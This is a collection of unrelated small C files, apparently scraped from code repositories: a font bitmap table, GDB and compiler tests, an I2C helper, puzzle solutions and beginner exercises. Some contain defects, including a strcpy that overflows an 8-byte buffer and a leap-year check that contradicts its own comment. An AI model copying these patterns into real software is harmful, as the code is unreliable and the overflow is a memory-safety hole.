/* 00000 */ 0x00, /* 00000 */ 0xF8, /* 11111 */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x50, /* 01010 */ /* * code=211, hex=0xD3, ascii="!S" */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x78, /* 01111 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ /* * code=212, hex=0xD4, ascii="!T" */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x38, /* 00111 */ 0x20, /* 00100 */ 0x38, /* 00111 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ /* * code=213, hex=0xD5, ascii="!U" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x38, /* 00111 */ 0x20, /* 00100 */ 0x38, /* 00111 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ /* * code=214, hex=0xD6, ascii="!V" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x78, /* 01111 */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x50, /* 01010 */ /* * code=215, hex=0xD7, ascii="!W" */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0xF8, /* 11111 */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x50, /* 01010 */ /* * code=216, hex=0xD8, ascii="!X" */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0xF8, /* 11111 */ 0x20, /* 00100 */ 0xF8, /* 11111 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ /* * code=217, hex=0xD9, ascii="!Y" */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0xE0, /* 11100 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ /* * code=218, hex=0xDA, ascii="!Z" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x38, /* 00111 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ /* * code=219, hex=0xDB, ascii="![" */ 0xF8, /* 11111 */ 0xF8, /* 11111 */ 0xF8, /* 11111 */ 0xF8, /* 11111 */ 0xF8, /* 11111 */ 0xF8, /* 11111 */ 0xF8, /* 11111 */ 0xF8, /* 11111 */ /* * code=220, hex=0xDC, ascii="!\" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0xF8, /* 11111 */ 0xF8, /* 11111 */ 0xF8, /* 11111 */ 0xF8, /* 11111 */ /* * code=221, hex=0xDD, ascii="!]" */ 0xE0, /* 11100 */ 0xE0, /* 11100 */ 0xE0, /* 11100 */ 0xE0, /* 11100 */ 0xE0, /* 11100 */ 0xE0, /* 11100 */ 0xE0, /* 11100 */ 0xE0, /* 11100 */ /* * code=222, hex=0xDE, ascii="!^" */ 0x18, /* 00011 */ 0x18, /* 00011 */ 0x18, /* 00011 */ 0x18, /* 00011 */ 0x18, /* 00011 */ 0x18, /* 00011 */ 0x18, /* 00011 */ 0x18, /* 00011 */ /* * code=223, hex=0xDF, ascii="!_" */ 0xF8, /* 11111 */ 0xF8, /* 11111 */ 0xF8, /* 11111 */ 0xF8, /* 11111 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ /* * code=224, hex=0xE0, ascii="!`" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x68, /* 01101 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x68, /* 01101 */ 0x00, /* 00000 */ /* * code=225, hex=0xE1, ascii="!a" */ 0x00, /* 00000 */ 0x60, /* 01100 */ 0x90, /* 10010 */ 0xF0, /* 11110 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0xE0, /* 11100 */ 0x80, /* 10000 */ /* * code=226, hex=0xE2, ascii="!b" */ 0x00, /* 00000 */ 0x70, /* 01110 */ 0x40, /* 01000 */ 0x40, /* 01000 */ 0x40, /* 01000 */ 0x40, /* 01000 */ 0x40, /* 01000 */ 0x00, /* 00000 */ /* * code=227, hex=0xE3, ascii="!c" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x70, /* 01110 */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x00, /* 00000 */ /* * code=228, hex=0xE4, ascii="!d" */ 0x00, /* 00000 */ 0xF8, /* 11111 */ 0x48, /* 01001 */ 0x20, /* 00100 */ 0x40, /* 01000 */ 0x88, /* 10001 */ 0xF8, /* 11111 */ 0x00, /* 00000 */ /* * code=229, hex=0xE5, ascii="!e" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x78, /* 01111 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x60, /* 01100 */ 0x00, /* 00000 */ /* * code=230, hex=0xE6, ascii="!f" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0xE8, /* 11101 */ 0x80, /* 10000 */ /* * code=231, hex=0xE7, ascii="!g" */ 0x00, /* 00000 */ 0x98, /* 10011 */ 0x50, /* 01010 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x00, /* 00000 */ /* * code=232, hex=0xE8, ascii="!h" */ 0x00, /* 00000 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x70, /* 01110 */ 0x88, /* 10001 */ 0x70, /* 01110 */ 0x20, /* 00100 */ 0x20, /* 00100 */ /* * code=233, hex=0xE9, ascii="!i" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x70, /* 01110 */ 0x88, /* 10001 */ 0xF8, /* 11111 */ 0x88, /* 10001 */ 0x70, /* 01110 */ 0x00, /* 00000 */ /* * code=234, hex=0xEA, ascii="!j" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x70, /* 01110 */ 0x88, /* 10001 */ 0x88, /* 10001 */ 0x50, /* 01010 */ 0xD8, /* 11011 */ 0x00, /* 00000 */ /* * code=235, hex=0xEB, ascii="!k" */ 0x60, /* 01100 */ 0x80, /* 10000 */ 0x40, /* 01000 */ 0x60, /* 01100 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x60, /* 01100 */ 0x00, /* 00000 */ /* * code=236, hex=0xEC, ascii="!l" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x70, /* 01110 */ 0xA8, /* 10101 */ 0xA8, /* 10101 */ 0x70, /* 01110 */ 0x00, /* 00000 */ /* * code=237, hex=0xED, ascii="!m" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x08, /* 00001 */ 0x70, /* 01110 */ 0xA8, /* 10101 */ 0x48, /* 01001 */ 0xB0, /* 10110 */ 0x00, /* 00000 */ /* * code=238, hex=0xEE, ascii="!n" */ 0x00, /* 00000 */ 0x30, /* 00110 */ 0x40, /* 01000 */ 0x70, /* 01110 */ 0x40, /* 01000 */ 0x40, /* 01000 */ 0x30, /* 00110 */ 0x00, /* 00000 */ /* * code=239, hex=0xEF, ascii="!o" */ 0x00, /* 00000 */ 0x60, /* 01100 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x90, /* 10010 */ 0x00, /* 00000 */ /* * code=240, hex=0xF0, ascii="!p" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0xF0, /* 11110 */ 0x00, /* 00000 */ 0xF0, /* 11110 */ 0x00, /* 00000 */ 0xF0, /* 11110 */ 0x00, /* 00000 */ /* * code=241, hex=0xF1, ascii="!q" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x20, /* 00100 */ 0xF8, /* 11111 */ 0x20, /* 00100 */ 0x00, /* 00000 */ 0xF8, /* 11111 */ 0x00, /* 00000 */ /* * code=242, hex=0xF2, ascii="!r" */ 0x00, /* 00000 */ 0x40, /* 01000 */ 0x20, /* 00100 */ 0x10, /* 00010 */ 0x20, /* 00100 */ 0x40, /* 01000 */ 0xF0, /* 11110 */ 0x00, /* 00000 */ /* * code=243, hex=0xF3, ascii="!s" */ 0x00, /* 00000 */ 0x10, /* 00010 */ 0x20, /* 00100 */ 0x40, /* 01000 */ 0x20, /* 00100 */ 0x10, /* 00010 */ 0x70, /* 01110 */ 0x00, /* 00000 */ /* * code=244, hex=0xF4, ascii="!t" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x18, /* 00011 */ 0x28, /* 00101 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ /* * code=245, hex=0xF5, ascii="!u" */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0x20, /* 00100 */ 0xA0, /* 10100 */ 0xC0, /* 11000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ /* * code=246, hex=0xF6, ascii="!v" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x60, /* 01100 */ 0x00, /* 00000 */ 0xF0, /* 11110 */ 0x00, /* 00000 */ 0x60, /* 01100 */ 0x00, /* 00000 */ /* * code=247, hex=0xF7, ascii="!w" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x50, /* 01010 */ 0xA0, /* 10100 */ 0x00, /* 00000 */ 0x50, /* 01010 */ 0xA0, /* 10100 */ 0x00, /* 00000 */ /* * code=248, hex=0xF8, ascii="!x" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x20, /* 00100 */ 0x50, /* 01010 */ 0x20, /* 00100 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ /* * code=249, hex=0xF9, ascii="!y" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x60, /* 01100 */ 0x60, /* 01100 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ /* * code=250, hex=0xFA, ascii="!z" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x20, /* 00100 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ /* * code=251, hex=0xFB, ascii="!{" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x18, /* 00011 */ 0x10, /* 00010 */ 0x20, /* 00100 */ 0xA0, /* 10100 */ 0x40, /* 01000 */ 0x00, /* 00000 */ /* * code=252, hex=0xFC, ascii="!|" */ 0x00, /* 00000 */ 0x60, /* 01100 */ 0x50, /* 01010 */ 0x50, /* 01010 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ /* * code=253, hex=0xFD, ascii="!}" */ 0x00, /* 00000 */ 0x60, /* 01100 */ 0x10, /* 00010 */ 0x20, /* 00100 */ 0x70, /* 01110 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ /* * code=254, hex=0xFE, ascii="!~" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x70, /* 01110 */ 0x70, /* 01110 */ 0x70, /* 01110 */ 0x00, /* 00000 */ 0x00, /* 00000 */ /* * code=255, hex=0xFF, ascii="!^�" */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ 0x00, /* 00000 */ };
the_stack_data/125843.c
/* This testcase is part of GDB, the GNU debugger. Copyright 2004-2017 Free Software Foundation, Inc. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include <stdio.h> #include <string.h> #include <signal.h> #include <sys/time.h> #include <errno.h> static volatile int done; static volatile int dummy; static volatile int no_handler; static void handler (int sig) { /* This is more than one write so that the breakpoint location below is more than one instruction away. */ done = 1; done = 1; done = 1; done = 1; /* other handler location */ } /* handler */ struct itimerval itime; struct sigaction action; /* The enum is so that GDB can easily see these macro values. */ enum { itimer_real = ITIMER_REAL, itimer_virtual = ITIMER_VIRTUAL } itimer = ITIMER_VIRTUAL; int main () { int res; /* Set up the signal handler. */ memset (&action, 0, sizeof (action)); action.sa_handler = no_handler ? SIG_IGN : handler; sigaction (SIGVTALRM, &action, NULL); sigaction (SIGALRM, &action, NULL); /* The values needed for the itimer. This needs to be at least long enough for the setitimer() call to return. */ memset (&itime, 0, sizeof (itime)); itime.it_value.tv_usec = 250 * 1000; /* Loop for ever, constantly taking an interrupt. */ while (1) { /* Set up a one-off timer. A timer, rather than SIGSEGV, is used as after a timer handler finishes the interrupted code can safely resume. */ res = setitimer (itimer, &itime, NULL); if (res == -1) { printf ("First call to setitimer failed, errno = %d\r\n",errno); itimer = ITIMER_REAL; res = setitimer (itimer, &itime, NULL); if (res == -1) { printf ("Second call to setitimer failed, errno = %d\r\n",errno); return 1; } } /* Wait. Issue a couple writes to a dummy volatile var to be reasonably sure our simple "get-next-pc" logic doesn't stumble on branches. */ dummy = 0; dummy = 0; while (!done); done = 0; } return 0; }
the_stack_data/44438.c
/* Test that sibling call is not used if there is an argument overlap. */ extern void abort (void); struct S { int a, b, c; }; int foo2 (struct S x, struct S y) { if (x.a != 3 || x.b != 4 || x.c != 5) abort (); if (y.a != 6 || y.b != 7 || y.c != 8) abort (); return 0; } int foo3 (struct S x, struct S y, struct S z) { foo2 (x, y); if (z.a != 9 || z.b != 10 || z.c != 11) abort (); return 0; } int bar2 (struct S x, struct S y) { return foo2 (y, x); } int bar3 (struct S x, struct S y, struct S z) { return foo3 (y, x, z); } int baz3 (struct S x, struct S y, struct S z) { return foo3 (y, z, x); } int main (void) { struct S a = { 3, 4, 5 }, b = { 6, 7, 8 }, c = { 9, 10, 11 }; bar2 (b, a); bar3 (b, a, c); baz3 (c, a, b); return 0; }
the_stack_data/73574963.c
#include <stdio.h> #include <string.h> void main(int argc,char *argv[],char *envp[]) { int i=0; while(envp[i]!=NULL) { if(strstr(envp[i],"USER=")) { printf("%s\n", strstr(envp[i],"=")+1); } i++; } }
the_stack_data/50137050.c
#include<stdio.h> #include<string.h> int main(){ char line[256]; int dbl = 0; int trpl = 0; int lnum = 1; FILE * file = fopen("input" , "r"); while(fgets(line , sizeof(line), file)) { int *seen = (int *)malloc(26 * sizeof(int)); memset(seen, 0 , 26 * sizeof(int)); int a; int dbls_seen = 0; int trpls_seen = 0; for(a=0; line[a] != NULL; a++){ char letter = line[a]; switch(letter) { case 'a': seen[0]++; break; case 'b': seen[1]++; break; case 'c': seen[2]++; break; case 'd': seen[3]++; break; case 'e': seen[4]++; break; case 'f': seen[5]++; break; case 'g': seen[6]++; break; case 'h': seen[7]++; break; case 'i': seen[8]++; break; case 'j': seen[9]++; break; case 'k': seen[10]++; break; case 'l': seen[11]++; break; case 'm': seen[12]++; break; case 'n': seen[13]++; break; case 'o': seen[14]++; break; case 'p': seen[15]++; break; case 'q': seen[16]++; break; case 'r': seen[17]++; break; case 's': seen[18]++; break; case 't': seen[19]++; break; case 'u': seen[20]++; break; case 'v': seen[21]++; break; case 'w': seen[22]++; break; case 'x': seen[23]++; break; case 'y': seen[24]++; break; case 'z': seen[25]++; break; default: break; }; } int b; for(b=0; b < 26;b++){ if(seen[b] == 2){ dbls_seen++; } if(seen[b] == 3){ trpls_seen++; } } if(dbls_seen > 0)dbl++; if(trpls_seen > 0)trpl++; free(seen); } int prdt; prdt = dbl * trpl; printf("There is %i lines with doubles\n", dbl); printf("There is %i lines with triples\n", trpl); printf("%i x %i = %i", dbl, trpl, prdt); printf(" is the checksum \n", prdt); return 0; }
the_stack_data/115765190.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_tolower.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: pgurn <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2020/11/10 20:26:38 by pgurn #+# #+# */ /* Updated: 2020/11/24 04:40:16 by pgurn ### ########.fr */ /* */ /* ************************************************************************** */ int ft_tolower(int c) { if (c >= 65 && c <= 90) return (c + 32); else return (c); }
the_stack_data/104827331.c
#include <stdio.h> void swap(int* x, int* y); int main(int argc, char** argv){ int aa = 1; int bb = 2; int *a = &aa; int *b = &bb; printf("before exchange: a = %d, b = %d \n", *a, *b ); swap(a,b); printf("after exchange: a = %d, b = %d \n", *a, *b ); return 0; } void swap(int *x, int *y){ int temp = *x; *x = *y; *y = temp; }
the_stack_data/92327821.c
#include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char **argv) { char buf[4][8]; strcpy(buf[0], "********"); strcpy(buf[1], buf[0]); strcpy(buf[2], buf[1]); strcpy(buf[3], buf[2]); printf("%s\n", buf[0]); return 0; }
the_stack_data/83638.c
int _gtty(fildes,argp) int fildes ; char *argp ; { return _ioctl(fildes,/*TIOCGETP*/(('t'<<8)|8),argp) ; }
the_stack_data/204026.c
//Determine se um determinado ano lido é bissexto. Sendo que um ano é bissexto se //for divisı́vel por 400 ou se for divisı́vel por 4 e não for divisı́vel por 100. Por exemplo: //1988, 1992, 1996 #include <stdio.h> #include <locale.h> int main(){ int ano; printf("Insira o ano que deseja verificar se é bissexto\n"); scanf("%d", &ano); if (((ano % 400 == 0) || (ano % 4 == 0)) && (ano % 100 != 0)){ printf("O ano %d é bissexto.\n", ano); }else{ printf("O ano %d não é bissexto.\n", ano); } return 0; }
the_stack_data/115764218.c
// // Created by Daniel Heredia on 2/27/18. // Copyright © 2018 Daniel Heredia. All rights reserved. // // Reverse string #include <stdio.h> void reverse(char * string) { if (string == NULL) { return; } char * current = string; while (*(++current) != '\0') {} current--; while (string < current) { char temp = *string; *string = *current; *current = temp; string++; current--; } } int main(int argc, const char * argv[]) { char string[] = "This is a test string."; reverse(string); printf("%s \n", string); return 0; }
the_stack_data/101095.c
#include <stdio.h> #include <stdlib.h> #include <strings.h> #include <string.h> #define INPUT "d13_input" #define SHORT_INPUT "d13_short_input" /* --- Day 13: Transparent Origami --- */ int** paper; int folds[20][2]; int fold_count = 0; int paper_x = -1; int paper_y = -1; int fold(char axis, int where) { int new_y = axis == 'y' ? where : paper_y; int new_x = axis == 'x' ? where : paper_x; printf("paper folded on %c at %i, new size = %ix%i\n", axis, where, new_x, new_y); int visible = 0; for (int y = 0; y < new_y; y++) { for (int x = 0; x < new_x; x++) { if (axis == 'y') { int opposite = y + 2 * (new_y - y); if (opposite < paper_y && paper[opposite][x] == 1) { paper[y][x] = 1; } } else { int opposite = x + 2 * (new_x - x); if (opposite < paper_x && paper[y][opposite] == 1) { paper[y][x] = 1; } } if (paper[y][x] == 1) { visible++; } } } if (axis == 'y') paper_y = where; else paper_x = where; return visible; } int main(int ac, char** args) { int input = ac > 1; FILE *fp = fopen(input ? INPUT : SHORT_INPUT, "r"); if (fp == NULL) { printf("cant read file\n"); return 1; } char line[20]; int x, y; while (fscanf(fp, "%s" , line) > 0) { if (line[0] == '\n') break; fgetc(fp); sscanf(line, "%i,%i", &x, &y); if (x > paper_x) { paper_x = x; } if (y > paper_y) { paper_y = y; } char c = fgetc(fp); if (c == '\n') break; else ungetc(c, fp); } paper_x++; paper_y++; rewind(fp); paper = (int**) calloc(paper_y, sizeof(int*)); for (int i = 0; i < paper_y; ++i) paper[i] = (int*) calloc(paper_x, sizeof(int)); while (fscanf(fp, "%s" , line) > 0) { if (line[0] == '\n') break; fgetc(fp); sscanf(line, "%i,%i", &x, &y); paper[y][x] = 1; char c = fgetc(fp); if (c == '\n') break; else ungetc(c, fp); } while (fscanf(fp, "%[ foldalong]s" , line) > 0) { char axis = fgetc(fp); fgetc(fp); int value; fscanf(fp, "%d", &value); folds[fold_count][0] = axis; folds[fold_count++][1] = value; fgetc(fp); } printf("\n"); int visible = fold(folds[0][0], folds[0][1]); printf("\nvisible dots = %i\n", visible); for (int i = 0; i < paper_y; ++i) free(paper[i]); free(paper); return 0; }
the_stack_data/148578304.c
// This program demonstrates the cor() function #include <stdio.h> int xor(int a, int b); int main(void) { int p, q; printf("Enter P (0 or 1): "); scanf("%d", &p); printf("Enter Q (0 or 1): "); scanf("%d", &q); printf("P AND Q: %d\n", p && q); printf("P OR Q: %d\n", p || q); printf("P XOR Q: %d\n", xor(p, q)); } int xor(int a, int b) { return (a || b) && !(a && b); }
the_stack_data/190768007.c
/* Copyright 2010-2014 Free Software Foundation, Inc. This file is part of GDB. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ void lib (void) { }
the_stack_data/92325439.c
#include <stdio.h> int main() { printf("An `elf' binary.\n"); }
the_stack_data/242329643.c
#define _CRT_SECURE_NO_WARNINGS #include <stdio.h> #include <stdlib.h> //TODO: try increasing/decreasing order //int compare(const void* first, const void* second) //{ // //} int main() { float arr[] = { 8.1f, 2.4f, 5.6f, 3.2f, 6.1f, 11.0f }; return 0; }
the_stack_data/749967.c
#include <stdio.h> int main() { printf("Hello C!"); return 0; }
the_stack_data/145453576.c
/* * * This file is part of pyA20Lime2. * i2c_lib.c is python I2C extension. * * Copyright (c) 2014 Stefan Mavrodiev @ OLIMEX LTD, <[email protected]> * * pyA20Lime2 is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, * MA 02110-1301, USA. */ #include <stdio.h> #include <stdint.h> #include <fcntl.h> #include <stdlib.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/i2c.h> #include <linux/i2c-dev.h> int i2c_open(char *device, uint8_t address) { int fd; int ret; fd = open(device, O_RDWR); if (fd < 0) return fd; ret = ioctl(fd, I2C_SLAVE_FORCE, address); if (ret < 0) return ret; return fd; } int i2c_close(int fd) { return (close(fd)); } int i2c_send(int fd, uint8_t *buffer, uint8_t num_bytes) { return (write(fd, buffer, num_bytes)); } int i2c_read(int fd, uint8_t *buffer, uint8_t num_bytes) { return (read(fd, buffer, num_bytes)); }
the_stack_data/46820.c
// RUN: %clang_cc1 -triple thumbv7-windows -fms-compatibility -emit-llvm -o - %s \ // RUN: | FileCheck %s -check-prefix CHECK-MSVC // RUN: %clang_cc1 -Wno-implicit-function-declaration -triple armv7-eabi -emit-llvm %s -o - \ // RUN: | FileCheck %s -check-prefix CHECK-EABI // REQUIRES: arm-registered-target void test_yield_intrinsic() { __yield(); } // CHECK-MSVC: call void @llvm.arm.hint(i32 1) // CHECK-EABI-NOT: call void @llvm.arm.hint(i32 1) void wfe() { __wfe(); } // CHECK-MSVC: call {{.*}} @llvm.arm.hint(i32 2) // CHECK-EABI-NOT: call {{.*}} @llvm.arm.hint(i32 2) void wfi() { __wfi(); } // CHECK-MSVC: call {{.*}} @llvm.arm.hint(i32 3) // CHECK-EABI-NOT: call {{.*}} @llvm.arm.hint(i32 3) void sev() { __sev(); } // CHECK-MSVC: call {{.*}} @llvm.arm.hint(i32 4) // CHECK-EABI-NOT: call {{.*}} @llvm.arm.hint(i32 4) void sevl() { __sevl(); } // CHECK-MSVC: call {{.*}} @llvm.arm.hint(i32 5) // CHECK-EABI-NOT: call {{.*}} @llvm.arm.hint(i32 5)
the_stack_data/329885.c
/* Logical instruction */ #include <stdint.h> void main(void) { volatile uint16_t a = 0xf98b, b = 0xa63a, c; c = a | b; c = 0; //$ch.c return; //$bre }
the_stack_data/95450697.c
#include<stdio.h> #include<ctype.h> #define NUMERIC 1 /* numeric sort */ #define DECR 2 /* sort in decreasing order */ #define FOLD 4 /* fold upper and lower cases */ #define MDIR 8 /* directory order */ #define LINES 100 /* maximum number of lines to be sorted */ int charcmp(char *,char *); int numcmp(char *,char *); int readlines(char *lineptr[],int maxlines); void myqsort(void *v[],int left,int right,int (*comp)(void *,void *)); void writelines(char *lineptr[],int nlines,int order); static char option = 0; /* sort input lines */ int main(int argc,char *argv[]) { char *lineptr[LINES]; /* pointer to text line */ int nlines; int c,rc=0; while(--argc > 0 && (*++argv)[0] == '-') while(c = *++argv[0]) switch(c) { case 'd': /* directory order */ option |= MDIR; break; case 'f': option |= FOLD; break; case 'n': option |= NUMERIC; break; case 'r': option |= DECR; break; default: printf("sort: illegal option %c\n",c); argc = 1; rc = -1; break; } if(argc) printf("Usage: sort -dfnr \n"); else { if((nlines = readlines(lineptr,LINES)) > 0) { if(option & NUMERIC) myqsort((void **)lineptr,0,nlines-1,(int (*)(void *,void *))numcmp); else myqsort((void **)lineptr,0,nlines-1,(int (*)(void *,void *))charcmp); writelines(lineptr,nlines,option & DECR); } else { printf("input too big to sort \n"); rc = -1; } } return rc; } /* charcmp: return <0 if s < t, 0 if s ==t, >0 if s > t */ int charcmp(char *s,char *t) { char a,b; int fold = (option & FOLD)? 1:0; int dir = (option & MDIR)? 1: 0; do { if(dir) { while(!isalnum(*s) && *s != ' ' && *s != '\0') s++; while(!isalnum(*t) && *t != ' ' && *t != '\0') t++; } a = fold ? tolower(*s): *s; s++; b = fold ? tolower(*t): *t; t++; if(a==b && a == '\0') return 0; } while( a == b); return a - b; } #include<stdlib.h> /* numcmp: compare s1 and s2 numerically */ int numcmp(char *s1,char *s2) { double v1,v2; v1 = atof(s1); v2 = atof(s2); if( v1 < v2) return -1; else if ( v1 > v2) return 1; else return 0; } void swap(void *v[],int i,int j) { void *temp; temp = v[i]; v[i] = v[j]; v[j] = temp; } /* myqsort: sort v[left] ... v[right] into increasing order */ void myqsort(void *v[],int left,int right,int (*comp)(void *,void *)) { int i,last; void swap(void *v[],int,int); if(left >= right) /* do nothing if array contains */ return; /* fewer than two elements */ swap(v,left,(left+right)/2); last = left; for(i = left + 1; i<=right;i++) if((*comp)(v[i],v[left])<0) swap(v,++last,i); swap(v,left,last); myqsort(v,left,last-1,comp); myqsort(v,last+1,right,comp); } #define MAXLEN 1000 /* max length of any input line */ int mgetline(char *,int); char *alloc(int); /* readlines: read input lines */ int readlines(char *lineptr[],int maxlines) { int len,nlines; char *p,line[MAXLEN]; nlines=0; while((len = mgetline(line,MAXLEN)) > 0) if(nlines >= maxlines || (p = alloc(len)) == NULL) return -1; else { line[len-1] = '\0'; strcpy(p,line); lineptr[nlines++] = p; } return nlines; } /* writelines: write output lines */ void writelines(char *lineptr[],int nlines,int order) { int i; if (order) for( i = nlines -1; i >= 0; i--) printf("%s\n",lineptr[i]); else for( i = 0; i < nlines; i++) printf("%s\n",lineptr[i]); } #define ALLOCSIZE 10000 /* size of available space */ static char allocbuf[ALLOCSIZE]; /* storage for alloc */ static char *allocp = allocbuf; /* next free position */ char *alloc(int n) /* return pointer to n characters */ { if ( allocbuf + ALLOCSIZE - allocp >= n) { allocp += n; return allocp - n; } else return 0; } void afree(char *p) /* free storage pointed to by p */ { if( p >= allocbuf && p < allocbuf + ALLOCSIZE) allocp = p; } /* mgetline: read a line s, return length */ int mgetline(char s[],int lim) { int c,i; for(i=0;i<lim-1 && (c=getchar())!=EOF && c!='\n';++i) s[i] = c; if( c == '\n') { s[i] = c; ++i; } s[i] = '\0'; return i; }
the_stack_data/16468.c
#include <stdio.h> int main() { int f[11] = {1, 1}, i, j; for(i = 2; i <= 10; i++) for(j = 0; j < i; j++) f[i] += f[j]*f[i-j-1]; int n, flag = 0; while(scanf("%d", &n) == 1) { if(flag) puts(""); flag = 1; printf("%d\n", f[n]); } return 0; }
the_stack_data/97014063.c
#include <stdio.h> #define MAXLINE 1000 /* maximum input line size */ int m_getline(char line[], int maxline); void copy(char to[], char from[]); int main() { int len; /* current line length */ int max; /* maximum length seen so far */ char line[MAXLINE]; /* current input line */ char longest[MAXLINE]; /* longest line saved here */ max = 0; while ((len = m_getline(line, MAXLINE)) > 0) if (len > max) { max = len; copy(longest, line); } if (max > 0) { /* there was a line */ printf("str: %s\n", longest); printf("len: %d\n", max); } return 0; } /* m_getline: read a line into s, return length needs 'm_' because `getline` is defined in stdio.h */ int m_getline(char s[], int lim) { int c, i; for (i = 0; i < lim - 1 && (c = getchar()) != EOF && c != '\n'; ++i) { s[i] = c; } if (c == '\n') { s[i] = c; ++i; } s[i] = '\0'; return i; } /* copy: copy 'from' into 'to'; assume to is big enough */ void copy(char to[], char from[]) { int i; i = 0; while ((to[i] = from[i]) != '\0') ++i; }
the_stack_data/247018219.c
#include <math.h> double my_scalbn(double x, int n); double my_ldexp(double x, int n) { return my_scalbn(x, n); }
the_stack_data/177813.c
